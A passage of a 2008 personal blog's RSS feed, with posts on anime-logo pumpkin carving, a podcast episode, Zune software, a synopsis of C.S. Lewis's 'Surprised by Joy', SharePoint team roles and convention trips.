&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=2aBywnse"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=Fftfc3KS"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=Fftfc3KS" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=Z0GewMuJ"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=Z0GewMuJ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=B3R9BOJv"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=B3R9BOJv" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=USuNqjrC"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/SDvZXmUP_zQ" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/158/</guid><pubDate>Mon, 03 Nov 2008 12:09:38 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/158/</feedburner:origLink></item><item><title>Nerd Pumpkins</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/qtzyyweHgiU/</link><description>&lt;p&gt;Tonight, I carved pumpkins. Yes, I know it's a little early and they won't survive until Halloween. But I'm testing out some new designs on real pumpkins before I order &lt;a href="http://www.potterybarnkids.com/products/h250/index.cfm?pkey=xsrd0m1|12|||1|||||||funkins&amp;cm_src=SCH"&gt;Funkins&lt;/a&gt;, so I want to make sure they work.&lt;/p&gt;

&lt;p&gt;The NERV logo was done on a Funkin, so I pinned my design onto the pumpkin and traced it. The other pumpkins (which were done on actual pumpkins) were freehanded. I &lt;em&gt;really&lt;/em&gt; should have traced the Independents logo, but if I end up doing it on a Funkin I will.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.dylanwolf.com/pics/posts/pumpkins/pumpkin_nerv_large.jpg" target="_blank"&gt;&lt;img src="http://www.dylanwolf.com/pics/posts/pumpkins/pumpkin_nerv_small.jpg" alt="NERV logo pumpkin" /&gt;&lt;/a&gt;&lt;br /&gt;NERV Logo from &lt;em&gt;Neon Genesis Evangelion&lt;/em&gt; (&lt;a href="http://www.google.com/search?hl=en&amp;q=nerv+logo&amp;btnG=Search"&gt;original&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.dylanwolf.com/pics/posts/pumpkins/pumpkin_noir_large.jpg" target="_blank"&gt;&lt;img src="http://www.dylanwolf.com/pics/posts/pumpkins/pumpkin_noir_small.jpg" alt="Noir logo pumpkin" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;em&gt;Noir&lt;/em&gt; Logo (&lt;a href="http://www.anime.com/Noir/"&gt;original&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.dylanwolf.com/pics/posts/pumpkins/pumpkin_browncoats_large.jpg" target="_blank"&gt;&lt;img src="http://www.dylanwolf.com/pics/posts/pumpkins/pumpkin_browncoats_small.jpg" alt="Browncoats logo pumpkin" /&gt;&lt;/a&gt;&lt;br /&gt;Independents logo from &lt;em&gt;Firefly&lt;/em&gt; (&lt;a href="http://southeasternbrowncoats.com/"&gt;original&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;Nathan posted some of the Funkins that he and Crystal created on &lt;a href="http://nathanblevins.com/Articles/Pumpkins.aspx"&gt;his blog&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/157"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=DkMSHrYX"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=VDeWirT3"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=VDeWirT3" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=Ht4WPo2x"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=Ht4WPo2x" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=82IdxNbT"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=82IdxNbT" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=CGvybwH2"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/qtzyyweHgiU" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/157/</guid><pubDate>Sat, 18 Oct 2008 01:03:39 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/157/</feedburner:origLink></item><item><title>Doom, Gloom, and Optimus Prime</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/oTp6UqN24sc/</link><description>&lt;p&gt;We just posted &lt;a href="http://www.chainsawbuffet.com/articles/podcast-doom-gloom-and-optimus-prime/"&gt;a new episode of the Chainsaw Buffet podcast&lt;/a&gt;. After several "very special episodes" (i.e., one more podcast like &lt;a href="http://www.chainsawbuffet.com/articles/podcast-world-of-braidcraft/"&gt;our long Braid discussion&lt;/a&gt;, &lt;a href="http://www.chainsawbuffet.com/articles/podcast-awa2008/"&gt;Anime Weekend Atlanta interviews&lt;/a&gt;, and &lt;a href="http://www.chainsawbuffet.com/articles/podcast-moo-spew/"&gt;The Gallon Challenge&lt;/a&gt; could probably be considered &lt;a href="http://nukingthefridge.com/"&gt;nuking the fridge&lt;/a&gt;), we're back to our good old "try-energy-drinks-and-then-talk-about-random-crap" format.&lt;/p&gt;

&lt;p&gt;This week, we talk about Transformers Animated, Warhawk (well, really, just the Bluetooth headset that comes with it), Burnout Paradise and its new DLC, the Zune (yes, again), the economic crisis, and the stock market (&lt;a href="http://www.vinull.com/"&gt;Mike's&lt;/a&gt; recent passion). Mike and I almost go off on a tangent about our cancer experiences when Jen brings up Breast Cancer Awareness month, and... apparently the pink ribbon campaign is like the Mafia. Huh. Who knew?&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.chainsawbuffet.com/articles/podcast-doom-gloom-and-optimus-prime/"&gt;More information and the download can be found on the site&lt;/a&gt;. You can also subscribe to the podcast via &lt;a href="http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=290888081"&gt;iTunes&lt;/a&gt; or &lt;a href="http://feeds.feedburner.com/ChainsawBuffetPodcast"&gt;RSS&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Also, don't forget to send in listener emails (please?) to &lt;a href="mailto:podcast@chainsawbuffet.com"&gt;podcast@chainsawbuffet.com&lt;/a&gt;. Seriously, or I'm going to start reading more spam on the air.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/156"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=KQoYFEFK"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=yd7is5sV"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=yd7is5sV" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=UhUDGtNu"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=UhUDGtNu" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=4xPXp8jV"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=4xPXp8jV" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=7vCGarLD"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/oTp6UqN24sc" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/156/</guid><pubDate>Wed, 15 Oct 2008 08:46:01 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/156/</feedburner:origLink></item><item><title>Schrödinger's Zune</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/r3zvRLajPvI/</link><description>&lt;p&gt;During this weekend's recording of the &lt;a href="http://www.chainsawbuffet.com/categories/podcast/"&gt;Chainsaw Buffet Podcast&lt;/a&gt;, &lt;a href="http://www.vinull.com/"&gt;Mike&lt;/a&gt; mentioned the social features of the &lt;a href="http://www.zune.net/en-US/"&gt;Zune&lt;/a&gt; software--mainly, the ability to share playlists and recently played songs. Despite my natural proclivity to "wuss rock" (and despite the fact that Mike actively made fun of other people's playlists for just that sort of music), I installed the new Zune software and imported my music library.&lt;/p&gt;

&lt;p&gt;If you're interested in what I listen to as I code, my profile page is &lt;a href="http://social.zune.net/member/DylanW"&gt;http://social.zune.net/member/DylanW&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here's the funny thing: when I was listening to stuff off my streaming MP3 server, I didn't give what I listened to a second thought. Sometimes I'd listen to the same album several times in a row; sometimes I'd get bored after the second song. Now, I'm finding that I watch it more closely. Do I want something to show up on my playlist if I'm not really sure I want to listen to it? What about bands and songs I want to show up on my history, but don't feel like listening to right now? The act of observing seems to have changed things (hence the title of this post). Maybe that'll change... or I'll get bored with the Zune software and go back to my streaming server running &lt;a href="http://edna.sourceforge.net/"&gt;edna&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I do have to admit that the Now Playing view and the Mixview in 3.0 are awesome. Even if you don't have a Zune (I don't), it's still worth it to install and take a look.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/155"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=2XJK8zhH"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=oVwEnOn7"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=oVwEnOn7" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=iG217m2J"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=iG217m2J" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=fNSsCUwn"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=fNSsCUwn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=vN88sa6L"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/r3zvRLajPvI" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/155/</guid><pubDate>Mon, 13 Oct 2008 17:48:59 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/155/</feedburner:origLink></item><item><title>Book Synopsis (not review!): Surprised by Joy</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/vFICWxg4jw4/</link><description>&lt;p&gt;First, no, I did not rip off &lt;a href="http://nathanblevins.com/Articles/Book-Reviews-Twilight-Series.aspx"&gt;Nathan's book review post&lt;/a&gt; idea. I actually finished this book today and was thinking about writing a... well, synopsis. I don't call this a review because, honestly, it's something of a classic and I can't quite justify the implications of the word "review." More like "here's a book you've probably never heard of and I recommend."&lt;/p&gt;

&lt;p&gt;I will admit that reading Nathan's review got me motivated to actually write something. I have the "I should blog about this!" moment every time I finish a book or movie or anime, and then I never do. (Mostly because it will end up written off as a "Dylan anime" or "Dylan book" or "Dylan movie" anyway, so why bother?)&lt;/p&gt;

&lt;p&gt;People who know me will be shocked that I actually read, because it's pretty well-known that I don't. Actually, I suppose that's sort of a mischaracterization of my reading habits: I read, but very rarely, and only books I really want to read. I'm sort of a perfectionist about book choice, so I don't read anything that I don't think I'm going to complete. And I know the chances of me actually sticking with a book (or game, or series, or whatever) long enough to complete it are slim to none. So I'm very picky, and tend to read books by authors I already know I like.&lt;sup&gt;*&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;Anyway, I should probably explain how I got around to reading this book. I've read through several C.S. Lewis books over the past... oh, probably year or two. I picked up &lt;em&gt;Mere Christianity&lt;/em&gt; at McKay's a few years back and really liked it. I picked up The &lt;em&gt;Screwtape Letters&lt;/em&gt; a bit later, and similarly enjoyed it. Still later, after seeing them referenced in an online discussion, I read through &lt;em&gt;Till We Have Faces&lt;/em&gt; (highly recommended if you like fantasy) and &lt;em&gt;The Great Divorce&lt;/em&gt; (more fantastic than fantasy). I recommended &lt;em&gt;The Great Divorce&lt;/em&gt; to my sister (I can't really explain why, but it seemed like her type of book), and in the course of showing her where it was in Borders picked up &lt;em&gt;The Problem of Pain&lt;/em&gt; (also highly recommended if you want to get philosophical... or want a good argument why theistic evolution is not teh devil) and this book more or less on a whim. So there you have it. And no, I've never read any of the &lt;em&gt;Narnia&lt;/em&gt; books.&lt;/p&gt;

&lt;p&gt;What I find really interesting about Lewis's work is his sense of pragmatism and honesty. There's also something assuring about reading a book that puts into words things you've thought. And given the polarizing opinions people have about religion (and more specifically, Christianity), Lewis seems to tread a very rational middle ground. His logic isn't always airtight, but it's clearly present and it's not antagonistic. He says a lot of things that would make religion more palatable to those who strongly disagree with it; conversely, I think a lot of Christians in America today would strongly disagree with some of his conclusions if they read anything more than &lt;em&gt;Narnia&lt;/em&gt;. (To my discredit, I have a very morbid curiosity about the weird things people believe, so I may not have an accurate picture of what constitutes mainstream belief in either case.)&lt;/p&gt;

&lt;p&gt;But none of that actually has much to do with this book, and I don't want to get hung up on summarizing it. There's actually quite a bit that's applicable to modern life, or at least the geek subculture.&lt;/p&gt;

&lt;p&gt;The book itself is an account of Lewis's conversion from a nominal Christianity, to atheism, and then back to Christianity. This isn't a tearjerking personal testimony ("As for what we commonly call Will, and what we commonly call Emotion," Lewis writes, "I fancy these usually talk too loud, protest too much, to be quite believed, and we have a secret suspicion that the great passion or the iron resolution is partly a put-up job."&lt;sup&gt;1&lt;/sup&gt;) In fact, it's mostly non-religious details about his early life, and it's occasionally very philosophical. I don't mean the common use of the term philosophical where a person rambles on about supposedly weighty matters, I mean discusses actual schools of philosophical thought. As a business/CIS major who decied to take Logic for his philosophy course requirement, it's quite over my head. It's also a product of 1950's Ireland/England, so there's a lot of context taken for granted.&lt;/p&gt;

&lt;p&gt;Even if you don't agree with his conclusions or his beliefs, there's something fascinating about watching someone examine their own life. It's a sort of vicarious experience: you identify with them in the faults you share, and you discover new faults that you've completely overlooked. And then there are things you would never dream of thinking of as wrong--which you might attribute to going with the flow, or playing the game, or trying to fit in--that Lewis berates himself for. Still, you cannot witness someone else's introspection unscathed.&lt;/p&gt;

&lt;p&gt;There's also some measure of frustration involved; Lewis wrote this with decades of hindsight that, as a 27-year-old, I just don't have right now.&lt;/p&gt;

&lt;p&gt;Central to the book is Lewis's encounters with the sensation of Joy. He first encounters this in Norse mythology; there is something he sees in the imagery and the "Northernness" of the epics that is unattainable and indescribable, yet something he desires. It's something outside of himself. What's fascinating is that, the more he tries to recapture this sensation by immersing himself in the books and music, the more he realizes it's impossible to recapture. The more he tries to probe the sensation through introspection, the faster he loses it. Joy, as he calls it, is not controllable, nor is it in the object so much as it is the desire.&lt;/p&gt;

&lt;p&gt;There's something oddly familiar about this and his other descriptions of literature. Maybe it's because of DragonCon and AWA being so fresh on my mind, but there's something about this that reminds me of fandom. Lewis had his literature; we have science fiction and anime and comics. Whatever it is that hooks us, it's often so strong that we make it a part of who we are. But even as we chase it down by buying merchandise or rewatching or rereading the material or learning every bit of trivia, we're never going to fully capture it because we're chasing the incidentals.&lt;/p&gt;

&lt;p&gt;To completely switch gears, we geeks are also a sarcastic and opinionated lot. Seriously, count the number of times you've said that something sucks or laughed at people who like something. (You can make this a drinking game if you'd like.)&lt;/p&gt;

&lt;p&gt;So it's an eye-opening experience to watch Lewis talk about how, as a young man, he was surrounded by people who didn't share his taste in literature. (Even among geeks, I have this problem myself--as will probably be evidenced by people reading this blog post and saying to themselves, "You seriously read that? WTF?") As soon as he entered school and discovered that his tastes were actually considered good literature, this changed completely--he discovered there were more of his kind, and they carried some measure of respect. And good taste meant, naturally, a sense of superiority. I think you see where I'm going with this.&lt;/p&gt;

&lt;p&gt;I have, by the by, made this quote my signature on &lt;a href="http://forums.tvga.org/"&gt;TVGA&lt;/a&gt;, just to challenge people who mock my enjoyment of "wuss rock" and crappy anime:&lt;/p&gt;

&lt;blockquote&gt;"The moment good taste knows itself, some of its goodness is lost. Even then, however, it is not necessary to take the further step downward of despising the 'philistines' who do not share it."&lt;sup&gt;2&lt;/sup&gt;&lt;/blockquote&gt;

&lt;p&gt;There's probably more I could expound on, but honestly, there's so much I forget about this book. In trying to write a blog post about it, I feel like I should read it a second time just to take it in. I wouldn't even say it was the most fascinating or weighty of Lewis's books. But the narrative was compelling, and if you're looking there are a lot of very surprising little conclusions and details.&lt;/p&gt;

&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt; p. 237&lt;/p&gt;

&lt;p&gt;&lt;sup&gt;2&lt;/sup&gt; p. 104&lt;/p&gt;

&lt;p&gt;&lt;sup&gt;*&lt;/sup&gt; Also, given the length of this post, it should be said that when I read something, I read and enjoy the hell out of it. There is something to say for perfectionism and attention to detail.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/154"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=wHswlXks"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=CzyLzogK"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=CzyLzogK" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=4QkdKqSj"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=4QkdKqSj" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=eUavGcKx"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=eUavGcKx" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=8m2jeIzO"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/vFICWxg4jw4" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/154/</guid><pubDate>Mon, 13 Oct 2008 00:16:07 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/154/</feedburner:origLink></item><item><title>Outlining roles in maintaining a SharePoint site</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/XltGSMJyyW4/</link><description>&lt;p&gt;I ran across an article today on &lt;a href="http://twitter.com/SharePointMag"&gt;SharePoint Magazine&lt;/a&gt; about &lt;a href="http://sharepointmagazine.net/news/analysis/leveraging-the-sharepoint-platform-part-3"&gt;Leveraging the SharePoint Platform&lt;/a&gt;. Overall, it's a good (and realistic) discussion of how a SharePoint deployment must be planned supported within a company.&lt;/p&gt;

&lt;p&gt;The section on people really stood out, because this was a point I made in my &lt;a href="http://www.dylanwolf.com/programming/148/"&gt;SharePoint presentation&lt;/a&gt;--if your deployment grows to any decent size, you can't have just one person doing everything. Number of man-hours aside, it's not reasonable for a single person to do configuration, administration, organization, development, and training. You're trying to jump between a number of very different skillsets, so no matter how smart and capable your all-in-one SharePoint guy is, it's not going to come out very good.&lt;/p&gt;

&lt;p&gt;The article links to blog posts by &lt;a href="http://www.sharepointblogs.com/mosslover/archive/2007/10/12/key-sharepoint-business-roles-part-2-with-definitions.aspx"&gt;Becky Isserman&lt;/a&gt; and &lt;a href="http://www.ericharlan.com/Moss_SharePoint_2007_Blog/sharepoint-projects-roles-and-responsibilities-a108.html"&gt;Eric Harlan&lt;/a&gt; that attempt to define these roles a little more clearly. And for that reason, I think it's a good read for anyone just getting started in a company that's adopting SharePoint. Even if you won't have a team of 4-6 people working on your SharePoint installation (and let's face it, most people won't), the division of skills is useful to divide up responsibilities between the team you do have--whatever size it is.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/programming/153"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=XQEQLy8b"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=qABaCLAe"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=qABaCLAe" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=gT6MECYQ"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=gT6MECYQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=ZMJYAQzv"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=ZMJYAQzv" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=BzTvYQtj"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/XltGSMJyyW4" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/programming/153/</guid><pubDate>Tue, 07 Oct 2008 09:26:15 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/programming/153/</feedburner:origLink></item><item><title>A Most Productive Anime Weekend Atlanta (for Chainsaw Buffet, at least)</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/-GoB88PhlLw/</link><description>&lt;p&gt;Last night, we posted &lt;a href="http://www.chainsawbuffet.com/articles/podcast-awa2008/"&gt;a two-part podcast we recorded at AWA&lt;/a&gt;. This was a really awesome experience for us, because we got to interview members of &lt;a href="http://www.myspace.com/themanpower"&gt;The Man Power&lt;/a&gt; and &lt;a href="http://www.theslants.com/"&gt;The Slants&lt;/a&gt;. John and Charlie have been huge fans since seeing them both at MTAC.&lt;/p&gt;

&lt;p&gt;Even if you don't like anime (because, despite the location, we don't discuss it &lt;em&gt;that&lt;/em&gt; much), you may enjoy the music. &lt;a href="http://www.vinull.com/"&gt;Mike&lt;/a&gt; didn't go, but after listening to the podcast he wrote &lt;a href="http://vinull.com/Post/2008/09/24/the-slants-a-zune-and-a-podcast-chainsa.aspx"&gt;a blog post about The Slants...... and, oh yeah, that podcast we do.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It was really cool because we spent some time hanging out with the guys from The Man Power after the podcast, including going to &lt;a href="http://www.dylanwolf.com/photos/19/"&gt;the Quaff/The Captains/The Emeralds/Tsu Shi Ma Mi Re/Peelander-Z concert&lt;/a&gt; with them.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/152"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=Y1qkqnRL"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=3BfB5XBE"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=3BfB5XBE" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=wbT7E2av"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=wbT7E2av" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=u47VsNbj"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?i=u47VsNbj" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/DylanWolfBlog?a=MRUO1QwS"&gt;&lt;img src="http://feeds.feedburner.com/~f/DylanWolfBlog?d=1005" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/DylanWolfBlog/~4/-GoB88PhlLw" height="1" width="1"/&gt;</description><guid isPermaLink="false">http://www.dylanwolf.com/etc/152/</guid><pubDate>Wed, 24 Sep 2008 12:58:24 GMT</pubDate><feedburner:origLink>http://www.dylanwolf.com/etc/152/</feedburner:origLink></item><item><title>September, the month of conventions</title><link>http://feedproxy.google.com/~r/DylanWolfBlog/~3/6jfbfQSJCms/</link><description>&lt;p&gt;We just got back from Anime Weekend Atlanta on Sunday. So between DragonCon and AWA, that's a lot of conventioning.&lt;/p&gt;

&lt;p&gt;For those interested, here's an overview:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; &lt;a href="http://www.dylanwolf.com/photos/18/"&gt;DragonCon photos&lt;/a&gt; - most of these were Jen and John's, since I loaned them my camera.&lt;/li&gt;
&lt;li&gt; &lt;a href="http://www.dylanwolf.com/photos/19/"&gt;AWA photos&lt;/a&gt; - again, I loaned my camera to Jen and John. Most of the photos are from the Quaff/Captains/Emeralds/Tsu Shi Ma Me Re/Peelander-Z show at The Drunken Unicorn&lt;/li&gt;
&lt;li&gt; &lt;a href="http://nathanblevins.com/Articles/Dragon-Con-2008.aspx"&gt;Nathan posted on DragonCon&lt;/a&gt;, and also uploaded &lt;a href="http://www.flickr.com/photos/14138307@N05/sets/"&gt;some photos&lt;/a&gt;--including some of my Dungeons and Dragons &lt;a href="http://www.flickr.com/photos/14138307@N05/2824959753/in/set-72157607091455696/"&gt;cleric&lt;/a&gt; &lt;a href="http://www.flickr.com/photos/14138307@N05/2825796482/in/set-72157607091455696/"&gt;costume&lt;/a&gt;&lt;/li&gt;
&lt;li&gt; On &lt;a href="http://www.chainsawbuffet.com/categories/podcast/"&gt;the Chainsaw Buffet Podcast&lt;/a&gt;, we did a &lt;a href="http://www.chainsawbuffet.com/articles/podcast-con-of-the-dragon/"&gt;DragonCon retrospective episode&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt; I posted &lt;a href="http://forums.tvga.org/viewtopic.php?f=8&amp;t=5120&amp;start=0"&gt;a long, rambling, horribly-off-topic thread on TVGA&lt;/a&gt; about my DragonCon costume. Sadly, Chad wasn't able to go to DragonCon, but he started a similar thread about his &lt;a href="http://forums.tvga.org/viewtopic.php?f=8&amp;t=5087&amp;start=0"&gt;Great Wash Hunt&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In addition, we're going to be releasing a special two-part podcast on Wednesday featuring our interviews with Simon Young of &lt;a href="http://www.theslants.com/"&gt;The Slants&lt;/a&gt; and &lt;a href="http://www.myspace.com/themanpower"&gt;The Man Power&lt;/a&gt; recorded at Anime Weekend Atlanta.&lt;/p&gt;

&lt;p&gt;Hmm, yeah, I think that's all the links I need to cover.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.dylanwolf.com/etc/151"&gt;More...&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
